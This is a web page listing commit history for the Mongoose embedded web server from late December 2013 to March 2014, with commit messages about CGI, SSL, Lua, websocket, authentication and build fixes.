Compare commits

..
994 Commits
Author SHA1 Message Date
Sergey Lyubka 30a7965135 added lsp link 2014-03-10 11:21:52 +00:00
Sergey Lyubka a8a017a048 docs updated 2014-03-10 09:23:06 +00:00
Sergey Lyubka eac8ffabc4 docs updated 2014-03-10 09:19:01 +00:00
Sergey Lyubka a7a17711ec Resetting endpoint_type in open_local_endpoint() 2014-03-10 08:35:41 +00:00
Sergey Lyubka 18e28ef879 Added lua includes 2014-03-09 20:22:51 +00:00
Sergey Lyubka ce7515fca9 Merge pull request #349 from jhorneman/master
Exposing Lua support functions
2014-03-09 20:18:49 +00:00
Jurie Horneman d5a78fb664 Fixed bug. 2014-03-09 21:12:34 +01:00
Jurie Horneman 1b3a1b74ac Exposed Lua support functions. 2014-03-09 21:11:06 +01:00
Sergey Lyubka 8dd76e6ef4 Using ns_start_thread() 2014-03-09 19:50:34 +00:00
Sergey Lyubka 976b5f37c1 Added Lua callback 2014-03-09 19:30:41 +00:00
Sergey Lyubka 31489ab7b1 Lua fixes 2014-03-09 19:26:58 +00:00
Sergey Lyubka 1eb59940a4 Re-init rewrites var in convert_uri_to_file_name() 2014-03-09 13:27:39 +00:00
Sergey Lyubka 576d769b56 Corrected links in tutorials 2014-03-09 13:13:25 +00:00
Sergey Lyubka afaba7ee17 Lua calls, birth_time fixed 2014-03-09 13:13:13 +00:00
Sergey Lyubka 40f257ef2b lua build instructions fixed 2014-03-09 13:12:49 +00:00
Sergey Lyubka 5840dc8153 Links updated 2014-03-07 17:08:23 +00:00
Sergey Lyubka 5ed3dafb56 Added warning about PHP 5.5 2014-03-07 14:46:24 +00:00
Sergey Lyubka b99bf306ec fixed image links 2014-03-07 14:40:34 +00:00
Sergey Lyubka 89fae72aa7 added 2014-03-07 14:24:37 +00:00
Sergey Lyubka ab147e8f19 Added MONGOOSE_NO_SSI to MONGOOSE_NO_FILESYSTEM 2014-03-06 13:37:23 +00:00
Sergey Lyubka 81a78f9c8b Added query string to access log 2014-03-05 11:22:23 +00:00
Sergey Lyubka 370aeefdde Added error pages and vhosts to readme 2014-03-05 11:19:18 +00:00
Sergey Lyubka c5407a75f4 #define EV_HANDLER NULL in server.c 2014-03-05 10:12:43 +00:00
Sergey Lyubka 7217aa22f1 Embedded guide 2014-03-05 02:53:19 +00:00
Sergey Lyubka 69bd5f7aa2 SSL_accept logic fix 2014-03-05 02:19:05 +00:00
Sergey Lyubka 41b3c1b23e warning squashed in convert_uri_to_file_name() 2014-03-05 01:59:58 +00:00
Sergey Lyubka f639409533 warning squashed in convert_uri_to_file_name() 2014-03-05 01:59:32 +00:00
Sergey Lyubka 67c44799c8 SSL_accept() error handling fix 2014-03-05 01:57:09 +00:00
Sergey Lyubka 4646e2ad55 Added mjpg example 2014-03-04 20:23:37 +00:00
Sergey Lyubka b77532ea3f Added mjpg example 2014-03-04 20:22:46 +00:00
Sergey Lyubka ed8168e8a1 Added virtual hosts support via url_rewrites 2014-03-04 16:15:02 +00:00
Sergey Lyubka 39e2d2ad55 Appending query_string to the URI when redirecting on HTTP error 2014-03-04 15:01:05 +00:00
Sergey Lyubka 27c6656398 SSL_accept fixes 2014-03-04 13:23:40 +00:00
Sergey Lyubka ffe83051fe build fixed 2014-03-04 13:15:56 +00:00
Sergey Lyubka 93cd77ffad Changed links 2014-03-03 21:18:57 +00:00
Sergey Lyubka 279c06c64c Cleaned up cruft from mongoose.h 2014-03-03 10:56:17 +00:00
Sergey Lyubka 570c8213b6 Cleaned unit test 2014-03-03 10:54:35 +00:00
Sergey Lyubka f521999ea6 Calling EP_CLIENT on close 2014-03-03 10:27:56 +00:00
Sergey Lyubka e41df3cf9c MG_REQ_BEGIN -> MG_REQUEST, killed MG_REQ_END, add MG_REPLY. Restored server test 2014-03-03 10:26:27 +00:00
Sergey Lyubka 65f484291f got rid of multiline comment 2014-03-03 09:45:00 +00:00
Sergey Lyubka 77db89961b mg_stat() fix for paths like X:\ 2014-03-03 01:00:38 +00:00
Sergey Lyubka ad50310bb6 Added index.shtml to index files 2014-03-02 19:49:15 +00:00
Sergey Lyubka 66ec3d1f1e Added defines for popen and pclose, for SSI under Win32 2014-03-02 18:50:02 +00:00
Sergey Lyubka a9da86d05c Mentioned SSI 2014-03-02 18:28:40 +00:00
Sergey Lyubka 5f25a88821 Restored SSI functionality 2014-03-02 18:27:51 +00:00
Sergey Lyubka fd7dc33645 unbroke unit test 2014-03-02 17:20:24 +00:00
Sergey Lyubka 9c22771a43 Merge pull request #345 from nielsegberts/master
Also clean up multi_threaded and websocket_html.c on make clean
2014-03-02 15:48:25 +00:00
Niels Egberts 11640cc3c6 Also clean up multi_threaded and websocket_html.c on make clean 2014-03-02 14:55:34 +00:00
Sergey Lyubka 2264520a2f Example changed to evented API 2014-03-02 13:05:00 +00:00
Sergey Lyubka 2f0b411ddd Added -pthread flag to unix compilation example 2014-03-02 13:00:44 +00:00
Sergey Lyubka e0aceb4f3a Fixed windows build for examples 2014-03-02 12:23:53 +00:00
Sergey Lyubka ea9a60a59a Updated examples to conform to the evented API 2014-03-02 12:16:09 +00:00
Sergey Lyubka 458320cffb Fixed #343 in conn2() for Lua 2014-03-02 10:12:12 +00:00
Sergey Lyubka e0214af422 Using private ns_avprintf() in mg_printf_data() 2014-03-02 10:07:30 +00:00
Sergey Lyubka df5e997ea7 ns_server_poll() waking up by ns_server_wakeup() 2014-03-01 01:55:40 +00:00
Sergey Lyubka 0a3cb63c73 Added mg_wakeup_server() 2014-03-01 01:47:01 +00:00
Sergey Lyubka 37f7f3fb12 Merge pull request #339 from nenioscio/master
Fix issue #338
2014-03-01 01:19:31 +00:00
Sergey Lyubka 2ac970fa16 Moving to event-based API, temporary breaking tests 2014-03-01 01:17:39 +00:00
Sergey Lyubka de35a353d4 pphp -> php 2014-02-27 22:02:18 +00:00
Klaus Wagner dbbda02f70 Fix issue #338 2014-02-27 22:12:46 +01:00
Sergey Lyubka 725c30446c more docs 2014-02-25 20:39:34 +00:00
Sergey Lyubka 60473ae41a more docs 2014-02-25 20:39:00 +00:00
Sergey Lyubka 951d20f904 Added coniditional to use net_skeleton separately 2014-02-25 18:52:23 +00:00
Sergey Lyubka 85a6abd58b Clearing flags in close_local_endpoint() 2014-02-25 12:02:45 +00:00
Sergey Lyubka 2fbe09ad7c Restored jni build dir for Android 2014-02-25 08:12:42 +00:00
Sergey Lyubka 23325efab2 Added time.h 2014-02-25 08:10:19 +00:00
Sergey Lyubka 107902bae4 add_to_set(): fix around non-negative SOCKET on Windows 2014-02-24 08:22:40 +00:00
Sergey Lyubka 9bbf4c8384 Fixed problem with mg_printf_data() 2014-02-22 16:11:47 +00:00
Sergey Lyubka c39a712540 Win32 build fix 2014-02-21 14:13:06 +00:00
Sergey Lyubka e9f6111ba1 re-added signal.h 2014-02-20 17:47:07 +00:00
Sergey Lyubka ba267a32fd squashed warning in read_from_socket 2014-02-20 17:44:47 +00:00
Sergey Lyubka f64ebbe0b1 Guarded on_cgi_data() call by ifdef, thanks to Pavel Pimenov 2014-02-20 12:33:46 +00:00
Sergey Lyubka 8865dd5e84 Moved unit_test.c to examples 2014-02-20 12:13:59 +00:00
Sergey Lyubka ce57f47de0 Added missing signal.h 2014-02-20 09:49:42 +00:00
Sergey Lyubka 48be2dbc2a Added conditional for handling idle websocket conns 2014-02-20 07:32:33 +00:00
Sergey Lyubka 8905522a94 Setting last_io_time in ns_add_sock() 2014-02-20 06:26:44 +00:00
Sergey Lyubka eea1680cf9 open_cgi_endpoint() strrchr fix 2014-02-19 16:44:01 +00:00
Sergey Lyubka d5004cb7eb PF_INET -> AF_INET, unbreaks FreeBSD 2014-02-19 16:39:30 +00:00
Sergey Lyubka 1d1a05bf39 Embedded net_skeleton 2014-02-19 16:38:53 +00:00
Sergey Lyubka 2009069037 merge 2014-02-19 16:36:27 +00:00
Sergey Lyubka 8f7703c2a9 moved to net_skeleton 2014-02-19 16:34:51 +00:00
Sergey Lyubka 8e87c4f013 Merge pull request #329 from abimaelmartell/fix/freebsd-compilation
fix compilation under FreeBSD
2014-02-14 23:46:07 +00:00
Abimael Martell 639a6dc2a8 fix compilation under FreeBSD 2014-02-14 13:21:14 -08:00
Sergey Lyubka cead9a04ca Typo fixed 2014-02-11 15:21:54 +00:00
Sergey Lyubka e528093027 Formatted example 2014-02-11 15:20:19 +00:00
Sergey Lyubka c432b783fb Formatted example 2014-02-11 15:19:18 +00:00
Sergey Lyubka e06976836f Typo fixed 2014-02-11 15:18:20 +00:00
Sergey Lyubka c9f7407573 More comments in example 2014-02-11 15:16:55 +00:00
Sergey Lyubka a40e59dbe6 URL corrected 2014-02-11 09:56:10 +00:00
Sergey Lyubka 61ee3d36d0 Merge pull request #324 from eichin/patch-1
doc typos
2014-02-11 09:55:47 +00:00
Mark Eichin 94dbf21ffb doc typos
just saw them while reading...
2014-02-11 03:41:09 -05:00
Sergey Lyubka 998425b14b Styling changes for hexdump 2014-02-10 10:21:57 +00:00
Sergey Lyubka 6900dd733a Merge pull request #322 from pavel-pimenov/master
Fix copy-paste for MONGOOSE_HEXDUMP feature
2014-02-10 09:48:26 +00:00
Pavel Pimenov 9e4cd054c8 Fix copy-paste for MONGOOSE_HEXDUMP feature 2014-02-10 12:00:51 +04:00
Sergey Lyubka 5dc317fcb0 Added -DMONGOOSE_HEXDUMP feature 2014-02-09 20:57:11 +00:00
Sergey Lyubka fbd5d77ce8 Added note about CGI env vars 2014-02-07 20:23:37 +00:00
Sergey Lyubka 6f8751b479 chat server is going to be in its own dir 2014-02-07 13:04:02 +00:00
Sergey Lyubka 877c4dc698 websocket example responses: 15 times -> 3 times 2014-02-07 13:03:28 +00:00
Sergey Lyubka 2dfc79129a better lua build 2014-02-07 13:03:11 +00:00
Sergey Lyubka 416f4bf10f Merge pull request #321 from pavel-pimenov/master
Add #ifndef MONGOOSE_NO_FILESYSTEM
2014-02-07 07:45:20 +00:00
Pavel Pimenov f9a99530ff Add #ifndef MONGOOSE_NO_FILESYSTEM 2014-02-07 11:02:12 +04:00
Sergey Lyubka 940b65e4db Merge pull request #320 from xant/upstream
added a new handler callback to be used when the http connection is being closed
2014-02-06 21:00:17 +00:00
Andrea Guzzo b22f7d3a49 added a new handler callback to be used when the http connection is being closed
so that in case of connections closed prematurely, the user can clear resources
eventually bound to the connection using the 'connection_param' member of the
mg_connection structure
2014-02-06 11:22:13 +01:00
Sergey Lyubka eaa0e26a85 Starting to rebuild chat example on Lua 2014-02-06 10:18:30 +00:00
Sergey Lyubka a3a63f7e56 Using mg_connection::callback_param for mg_iterate_over_connection() 2014-02-06 10:00:20 +00:00
Sergey Lyubka c9036f3ac0 Added workaround for non-compliant runtimes in alloc_vprintf() 2014-02-05 12:33:36 +00:00
Sergey Lyubka 60858d7fe5 NO_WEBSOCKET -> MONGOOSE_NO_WEBSOCKET 2014-02-04 19:57:00 +00:00
Sergey Lyubka 1c914bde1d Merge pull request #316 from To1ne/master
use `mg_set_request_handler`
2014-02-04 11:55:52 -08:00
Toon Claes a487332aa0 use mg_set_request_handler 2014-02-04 20:48:38 +01:00
Sergey Lyubka 3987d4d560 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-02-04 18:13:10 +00:00
Sergey Lyubka 8d3181e0bf examples/html -> examples/chat_html_root 2014-02-04 18:13:02 +00:00
Sergey Lyubka 0f1a59aeb4 Increased env buf size 4096 -> 8192. Passing TMPDIR to CGI. 2014-02-04 18:11:56 +00:00
Sergey Lyubka 2cdf259940 Merge pull request #315 from To1ne/patch-1
Correct return values: PROCESSED or CALL_AGAIN
2014-02-04 06:51:41 -08:00
Toon Claes 0187fe943a Correct return values: PROCESSED or CALL_AGAIN 2014-02-04 15:24:32 +01:00
Sergey Lyubka a34d1ec00a Better handling of MONGOOSE_NO_SOCKETPAIR 2014-02-04 14:04:54 +00:00
Sergey Lyubka e70d98b7b0 Added fixes for eCos 2014-02-04 09:59:53 +00:00
Sergey Lyubka bea012a3c1 Removed redundant addenv call 2014-02-04 08:06:49 +00:00
Sergey Lyubka eb2d470f65 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-02-03 17:54:46 +00:00
Sergey Lyubka 652c352394 Passing SERVER_NAME, TMP and TEMP env vars to CGI. 2014-02-03 17:54:31 +00:00
Sergey Lyubka f1b37b3101 Merge pull request #313 from xant/upstream
bugfix: set the correct status if we still have pending data
2014-02-03 04:52:10 -08:00
Sergey Lyubka 81b9876af8 5.2 -> 5.3 2014-02-01 16:53:09 +00:00
Sergey Lyubka 7010addadb NO_AUTH -> MONGOOSE_NO_AUTH 2014-02-01 15:17:13 +00:00
xant 9e118c8a31 bugfix: set the correct status if we still have pending data 2014-01-31 19:09:12 +01:00
Sergey Lyubka 2fc654ac35 page.lp -> dirscan.lp 2014-01-30 17:49:37 +00:00
Sergey Lyubka 45861c7890 Disabling options if functionality is not enabled 2014-01-30 14:54:02 +00:00
Sergey Lyubka 1957879e10 Casting to int in mg_sprintf() call in handle_cgi 2014-01-29 12:34:51 +00:00
Sergey Lyubka ddbe690698 CGI directory logic fixed 2014-01-29 11:42:14 +00:00
Sergey Lyubka 9ba1596c46 Closing connection after mg_send_digest_auth() 2014-01-29 01:24:21 +00:00
Sergey Lyubka de509ae952 Fix around pid_t for mingw, thanks to Jay 2014-01-28 20:09:12 +00:00
Sergey Lyubka 77817cd019 Squashed the warnings 2014-01-28 13:42:26 +00:00
Sergey Lyubka 7083bea56b mg_parse_header(): allowing no spaces for comma-separated list 2014-01-28 13:01:28 +00:00
Sergey Lyubka 3dffd7604a Removed warnings 2014-01-28 12:55:20 +00:00
Sergey Lyubka 5a67af0c73 Using 1 ms in mg_poll_server 2014-01-28 12:51:27 +00:00
Sergey Lyubka 14526a2109 mg_add_uri_handler -> mg_set_request_handler() 2014-01-28 12:42:13 +00:00
Sergey Lyubka a6cfbd2536 docs URL changed 2014-01-28 10:48:27 +00:00
Sergey Lyubka 0d28f99275 wrapped pid_t and S_ISDIR definitions into ifndef for mingw build 2014-01-27 11:12:43 +00:00
Sergey Lyubka a281e99661 calling auth handler wrapped in MONGOOSE_NO_AUTH 2014-01-27 11:10:46 +00:00
Sergey Lyubka 170df7b676 local and remote port made unsigned short 2014-01-27 11:08:32 +00:00
Sergey Lyubka 3fa5c69f98 Fixed handle_delete() stat call 2014-01-27 11:06:05 +00:00
Sergey Lyubka e31f3058fa Added test for rewrites 2014-01-27 11:03:44 +00:00
Sergey Lyubka 83a9a726d3 Checking path existence 2014-01-26 11:24:24 +00:00
Sergey Lyubka 8ae0400b0d Added ability to set "0" as listening port. Exported local_ip and local_port to the client. 2014-01-25 13:50:57 +00:00
Sergey Lyubka 037fdbcccb Ignoring chdir() return value. Resetting mg_conn in close_local_endpoint() 2014-01-25 09:45:47 +00:00
Sergey Lyubka 5d2ac4e0a6 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-24 20:50:21 +00:00
Sergey Lyubka f977757a9d Added mg_set_auth_handler() 2014-01-24 20:49:57 +00:00
Sergey Lyubka 1db13aeed5 Merge pull request #304 from xant/master
allow to define a default mime-type
2014-01-24 09:51:51 -08:00
Andrea Guzzo 956788d7de changed mg_get_mime_type to expect the default type as argument
instead of using a configuration option
2014-01-24 15:56:21 +01:00
Andrea Guzzo 45f6612096 allow to define a default mime-type to use when lookup in the internal table fails
instead of always returning 'text/plain'

To allow setting a different default mime-type the mg_get_mime_type() api has been
extended to require an mg_server parameter.

Note that using a static global as default mime type wouldn't have allowed us to
control it via a configuration option because there is not global initialization phase
and configuration options are provided (and specific) to each server instance.
This means that different servers can be configured to use a different default mime-type
(which is also a desired behaviour in many scenarios) when lookup fails.
2014-01-24 14:45:19 +01:00
Sergey Lyubka 2392156fd4 Not exiting on a wrong option, best effort to recover 2014-01-23 20:57:27 +00:00
Sergey Lyubka cf1811f8c3 Added build instruction for windows 2014-01-23 12:00:40 +00:00
Sergey Lyubka 93c5335d80 USE_POST_SIZE_LIMIT -> MONGOOSE_USE_POST_SIZE_LIMIT, and unit test added 2014-01-23 11:24:00 +00:00
Sergey Lyubka 192205b10b Added 2014-01-23 10:36:08 +00:00
Sergey Lyubka 0377eea9c5 Added enum for callback return codes 2014-01-22 18:25:05 +00:00
Sergey Lyubka ad89868564 Moved must_hide_file to under #ifndef MONGOOSE_NO_FILESYSTEM 2014-01-22 18:24:28 +00:00
Sergey Lyubka 976f286134 Made mg_connection::content_len int -> size_t, which is 64-bit on 64-bit systems 2014-01-20 20:57:21 +00:00
Sergey Lyubka 503a1a749d Added unit test for MONGOOSE_USE_SSL 2014-01-20 20:50:30 +00:00
Sergey Lyubka 45a4266172 more examples added 2014-01-20 11:21:35 +00:00
Sergey Lyubka 2ea17e8c6d Adjusted docs and makefile to use correct preproc flags 2014-01-20 11:17:09 +00:00
Sergey Lyubka 67b7d79710 Removed comment about MONGOOSE_USE_STACK_SIZE 2014-01-20 11:10:30 +00:00
Sergey Lyubka 2e35e25935 ENABLE_DBG -> MONGOOSE_ENABLE_DEBUG, USE_STACK_SIZE -> MONGOOSE_USE_STACK_SIZE 2014-01-20 11:04:12 +00:00
Sergey Lyubka d86d409d3c Preprocessor definitions prefixed by MONGOOSE_ 2014-01-20 10:54:15 +00:00
Sergey Lyubka 1109d3aa3c Guarded #define EINPROGRESS 2014-01-20 09:02:57 +00:00
Sergey Lyubka 8208d9e250 Fixed -DUSE_SSL build 2014-01-20 09:01:16 +00:00
Sergey Lyubka fdd086b11c moved discard_leading_iobuf_bytes() out from conditional 2014-01-20 08:55:34 +00:00
Sergey Lyubka 5825e3ea74 Adding use_ssl to mg_connect() 2014-01-20 08:55:03 +00:00
Sergey Lyubka 061ba99124 Using vnotify() for die() 2014-01-20 08:54:06 +00:00
Sergey Lyubka ead098f726 Setting server_name 2014-01-19 17:01:43 +00:00
Sergey Lyubka 7a129c17ba Added http client with unit tests 2014-01-19 16:32:43 +00:00
Sergey Lyubka 400084ea8a read_from_client -> read_from_socket 2014-01-17 16:58:19 +00:00
Sergey Lyubka 82ad9a073a Calling long running connections regardless of select() status 2014-01-17 16:37:35 +00:00
Sergey Lyubka 22aea8acac Better comment for websocket example 2014-01-17 16:37:05 +00:00
Sergey Lyubka 40e5c744da Calling long-running URI handlers on each poll iteration 2014-01-17 15:49:16 +00:00
Sergey Lyubka e648681f1d Moved mg_connect() 2014-01-17 15:42:35 +00:00
Sergey Lyubka 02f19fc05a Using mg_handler_t for iterate_over_connections() 2014-01-17 11:45:57 +00:00
Sergey Lyubka 7690f9e34b Fixed websocket example, and websocket callback calling logic. 2014-01-17 10:17:15 +00:00
Sergey Lyubka 65c1278975 win32 build of server.c fixed 2014-01-16 14:40:26 +00:00
Sergey Lyubka 05e1135940 Added stand-alone console executable 2014-01-16 13:53:18 +00:00
Sergey Lyubka 7b6e8fb93c Moved idle_timeout_ms into compile-time option 2014-01-16 13:23:23 +00:00
Sergey Lyubka 9f1679e900 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-15 18:05:43 +00:00
Sergey Lyubka c0af018e20 removed build dir 2014-01-15 18:02:55 +00:00
Sergey Lyubka d553ae992a Unit test moved to top 2014-01-15 17:55:39 +00:00
Sergey Lyubka 89ef8f2f30 Removed method checks for CGI 2014-01-15 11:46:05 +00:00
Sergey Lyubka 9115a99f47 Fixed scanf format in parse_port_string() 2014-01-15 11:06:37 +00:00
Sergey Lyubka bbc65c7987 put_deleve_auth_file -> dav_auth_file. added placeholders for user 2014-01-15 07:57:59 +00:00
Sergey Lyubka bac0f75dd6 int sock -> sock_t sock 2014-01-15 07:10:09 +00:00
Sergey Lyubka 6440c358c1 C++ friendliness fix 2014-01-14 23:20:23 +00:00
Sergey Lyubka 6f84c8bbfb Using unicode API for service creation 2014-01-14 21:05:35 +00:00
Sergey Lyubka 0adbfcba96 Moved send_options out of NO_DAV conditional 2014-01-14 19:28:29 +00:00
Sergey Lyubka 136c3e8200 Eat prior POST data in close_local_endpoint() 2014-01-14 13:57:55 +00:00
Sergey Lyubka 7d699ea73c Added URI handler return value 2014-01-14 13:27:00 +00:00
Sergey Lyubka fc37b08139 URI handler status code drives streaming behavior 2014-01-14 13:16:58 +00:00
Sergey Lyubka 3aaf47d4e4 Return 1 from the URI handler 2014-01-14 12:50:13 +00:00
Sergey Lyubka 346179d1f1 keep-alive for all EP_USER requests 2014-01-14 00:44:27 +00:00
Sergey Lyubka 0148bc804a Added NO_THREADS wrapper 2014-01-13 21:35:45 +00:00
Sergey Lyubka 472e198d4a Fixed mg_parse_header to allow NULL strings 2014-01-13 21:31:18 +00:00
Sergey Lyubka bf6fc3262f Added test for static config opts 2014-01-13 21:08:03 +00:00
Sergey Lyubka 53311e8d6b removed ssi tests 2014-01-13 20:39:22 +00:00
Sergey Lyubka cc636197bc Added auth example 2014-01-13 17:58:14 +00:00
Sergey Lyubka 6b4f7e785d Added upload example 2014-01-13 17:01:11 +00:00
Sergey Lyubka 73ed83c5e3 Added mg_parse_multipart 2014-01-13 16:29:12 +00:00
Sergey Lyubka 56f128514e Implemented mg_set_http_error_handler() 2014-01-13 12:17:47 +00:00
Sergey Lyubka f0571f9fd6 Using mg.request_info.content 2014-01-13 10:58:14 +00:00
Sergey Lyubka a3663da90e Exposed mg_send_digest_auth_request(). Exported conn->content to Lua 2014-01-13 10:50:26 +00:00
Sergey Lyubka f74a1e1dc2 Fixed start_process on windows to use correct interpreter 2014-01-12 07:20:53 +00:00
Sergey Lyubka 74511b42f5 Using unicode winapi to load config file 2014-01-12 07:20:12 +00:00
Sergey Lyubka 04862eec85 Added wp target 2014-01-12 07:18:29 +00:00
Sergey Lyubka 4d105386ca Better handling of non-ascii chars for windows CGIs 2014-01-11 23:17:17 +00:00
Sergey Lyubka 44a35bb5bf Removed debug statement 2014-01-11 23:15:02 +00:00
Sergey Lyubka 022c9f0d47 Handling non-ascii chars in the binary 2014-01-11 21:32:05 +00:00
Sergey Lyubka e38061970e Exposed mg_authorize_digest() 2014-01-11 16:44:37 +00:00
Sergey Lyubka a4e8dc3069 Sending status 200 to CGI by default 2014-01-11 16:18:59 +00:00
Sergey Lyubka fa4179ee53 Made clean silent 2014-01-11 16:18:29 +00:00
Sergey Lyubka a8c8cfb665 fix non-initialized comparison 2014-01-11 10:09:26 +00:00
Sergey Lyubka e0b6109214 Added -DNO_FILESYSTEM 2014-01-11 09:48:27 +00:00
Sergey Lyubka d29f849602 Fixed optional build test 2014-01-11 09:48:13 +00:00
Sergey Lyubka 848c5d753e Fixed logic for get_url_to_me 2014-01-11 03:19:46 +00:00
Sergey Lyubka 4eef5b14fb Added comment to https://github.com/cesanta/mongoose/pull/287 2014-01-10 22:48:47 +00:00
Sergey Lyubka 283af71bbf Merge pull request #287 from oli-obk/fix/last_send_data_before_shutdown
mg_printf_data was ignored if mg_destroy_server was called directly afte...
2014-01-10 14:47:00 -08:00
Sergey Lyubka ff85b802c3 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:46:03 +00:00
Sergey Lyubka e2b42e4117 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:43:52 +00:00
Sergey Lyubka 63909b59c5 Added __cdecl to SSL decls to make sure correct linkage with OpenSSL which is cdecl 2014-01-10 22:41:36 +00:00
Sergey Lyubka 7380c65265 5.1 -> 5.2 2014-01-10 22:37:26 +00:00
Sergey Lyubka e9316a4feb CGI fixes 2014-01-10 21:59:37 +00:00
Oliver Schneider 2ac231cb7e mg_printf_data was ignored if mg_destroy_server was called directly after 2014-01-10 18:38:18 +01:00
Sergey Lyubka a741d53028 Fixed leak for server creation/destroy 2014-01-10 11:23:29 +00:00
Sergey Lyubka 9ea7b6f8ae Removed unnecessary buffer initializer 2014-01-10 11:11:26 +00:00
Sergey Lyubka 580d3da3c7 Using unicode winapi for stat(), fopen(), open() 2014-01-10 11:03:38 +00:00
Sergey Lyubka aa59dda966 wrapped read_from_cgi() into NO_CGI 2014-01-09 17:50:57 +00:00
Sergey Lyubka 47b92e4145 Added string defs for 301 and 302 codes in status_code_to_str() 2014-01-09 17:24:20 +00:00
Sergey Lyubka fa351959a0 5.0 -> 5.1 2014-01-09 14:08:50 +00:00
Sergey Lyubka 1414e2a236 Documented rewrites for HTTP errors 2014-01-09 12:47:29 +00:00
Sergey Lyubka 5fb275e146 Added URL rewrites for HTTP errors, to allow for error pages. 2014-01-09 12:36:25 +00:00
Sergey Lyubka 9390c66b48 Moved next_option() to the rest of string functions 2014-01-09 12:34:50 +00:00
Sergey Lyubka 2f69ca37d3 Better CGI error diagnostic for UNIX 2014-01-09 10:53:25 +00:00
Sergey Lyubka 4cd11de400 Ping only websocket connections 2014-01-09 10:37:17 +00:00
Sergey Lyubka 15a2639355 Added better diagnostic to send_http_error() 2014-01-09 10:35:43 +00:00
Sergey Lyubka c20f26dbb9 removed mg_fmt() 2014-01-09 09:58:19 +00:00
Sergey Lyubka cae797cf04 Merge branch 'master' of https://github.com/cesanta/mongoose 2014-01-09 09:37:35 +00:00
Sergey Lyubka 0d885add0e Fixed put_dir() 2014-01-09 09:36:58 +00:00
Sergey Lyubka 842231cc5c GetFullPathNameA -> GetFullPathName 2014-01-08 18:20:13 +00:00
Sergey Lyubka dc55a3ae40 Added #undef UNICODE in mongoose.c to force ANSI Win32 functions 2014-01-08 18:10:15 +00:00
Sergey Lyubka 4d85cc6c76 Removed -Wno-empty-translation-unit from unix CFLAGS :-) 2014-01-08 09:27:16 +00:00
Sergey Lyubka 8ac1b40c11 Added -Wno-empty-translation-unit to the unix CFLAGS 2014-01-08 09:19:56 +00:00
Sergey Lyubka 238b43af84 Squashed warnings for gcc 4.6.3 2014-01-08 09:16:36 +00:00
Sergey Lyubka 12c8e99bd5 Removed error_log_file from tests config 2014-01-07 14:57:08 +00:00
EC2 Default User 5f2f359bd6 Squashed warning under gcc 4.6.3 2014-01-07 14:53:48 +00:00
Sergey Lyubka ccf0ce4a1f Using chunked API in post.c example 2014-01-07 09:28:20 +00:00
Sergey Lyubka 134a5b7b9e Using chunked API in multi-threaded example 2014-01-07 09:24:48 +00:00
Sergey Lyubka d39daab29e Updated docs 2014-01-07 09:12:17 +00:00
Sergey Lyubka a798b1a937 Updated docs 2014-01-07 09:10:58 +00:00
Sergey Lyubka 04de3bb2f9 Updated docs 2014-01-07 09:05:34 +00:00
Sergey Lyubka 86da250e2c Using fat mongoose for php bundle 2014-01-06 14:58:21 +00:00
Sergey Lyubka 347a8c2f70 Fix source IP in logging 2014-01-06 14:53:41 +00:00
Sergey Lyubka 9624200663 SSL build 2014-01-06 13:31:46 +00:00
Sergey Lyubka 18b1e95350 LSP functionality 2014-01-06 13:08:39 +00:00
Sergey Lyubka 407877a4d5 added mongoose-lua.exe target 2014-01-06 12:40:41 +00:00
Sergey Lyubka 7541c6339a Removed error_log_file 2014-01-06 11:52:09 +00:00
Sergey Lyubka 31f1efd4f5 Removed index.shtml from the index files 2014-01-06 11:34:32 +00:00
Sergey Lyubka 2477f80a43 Wrapped run_as_user into conditional 2014-01-06 11:32:15 +00:00
Sergey Lyubka cf94fb3642 Added BIG_SOURCES 2014-01-06 11:29:36 +00:00
Sergey Lyubka 2210043b87 removed mutex calls. wrapped ssl_certificate option in a conditional 2014-01-06 11:22:11 +00:00
Sergey Lyubka 10872b3227 Inlined openssl definitions instead of including a header - preparing for ssl amalgamation 2014-01-05 23:52:43 +00:00
Sergey Lyubka cb324cfb9a test/page.mg.lua -> test/page.lp 2014-01-05 01:50:47 +00:00
Sergey Lyubka 4ee5849a04 Fixed spelling in readme 2014-01-05 00:01:31 +00:00
Sergey Lyubka fa216849e5 Resetting connection flags in close_local_endpoint() 2014-01-04 22:17:16 +00:00
Sergey Lyubka df6e35e330 dav_auth_file moved 2014-01-04 20:49:54 +00:00
Sergey Lyubka 96bb9aac36 Docs updated 2014-01-04 20:12:07 +00:00
Sergey Lyubka 7cec2fe280 Sorted options list 2014-01-04 20:11:55 +00:00
Sergey Lyubka 02937f8852 API doc synced 2014-01-04 14:28:20 +00:00
Sergey Lyubka 51f0cc2b67 Embed doc synced 2014-01-04 14:25:37 +00:00
Sergey Lyubka 253927008c Options doc synced 2014-01-04 14:20:47 +00:00
Sergey Lyubka 9778a4ccfc Options doc synced 2014-01-04 14:18:14 +00:00
Sergey Lyubka d0e2741832 Added new response creation interface 2014-01-04 11:31:55 +00:00
Sergey Lyubka 3a5e2fba88 5.0 lua example 2014-01-04 02:16:52 +00:00
Sergey Lyubka 85940c8045 Moved <netdb.h> to under unix includes 2014-01-04 02:05:18 +00:00
Sergey Lyubka a0b599b308 Removed protection from mg_write(). Refactored mg_iterate_over_connections() 2014-01-04 00:51:07 +00:00
Sergey Lyubka d43ccda9a7 Unbroke link to page.lp 2014-01-03 22:18:38 +00:00
Sergey Lyubka 675b83a3ef Let mongoose binary change CWD to document_root 2014-01-03 21:45:13 +00:00
Sergey Lyubka dfdfcc060d Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-03 20:26:52 +00:00
Sergey Lyubka 143fb4f423 Fixed macos build 2014-01-03 20:26:41 +00:00
Sergey Lyubka b7eb12017c Update README.md 2014-01-03 03:29:42 +00:00
Sergey Lyubka bd1c6c1506 Update README.md 2014-01-03 03:29:09 +00:00
Sergey Lyubka efb7f4f05d Added frozen 2014-01-03 03:06:50 +00:00
Sergey Lyubka 5475fe661d Implemented USE_POST_SIZE_LIMIT 2013-12-31 13:57:51 +00:00
Sergey Lyubka 8f62822a33 Using mg_printf() 2013-12-31 13:57:19 +00:00
Sergey Lyubka 0aa1a9e324 Documented USE_POST_SIZE_LIMIT, USE_EXTRA_HTTP_HEADERS 2013-12-31 13:56:59 +00:00
Sergey Lyubka 7a77bb1c4a More descriptive comment in multithreaded example 2013-12-31 09:06:21 +00:00
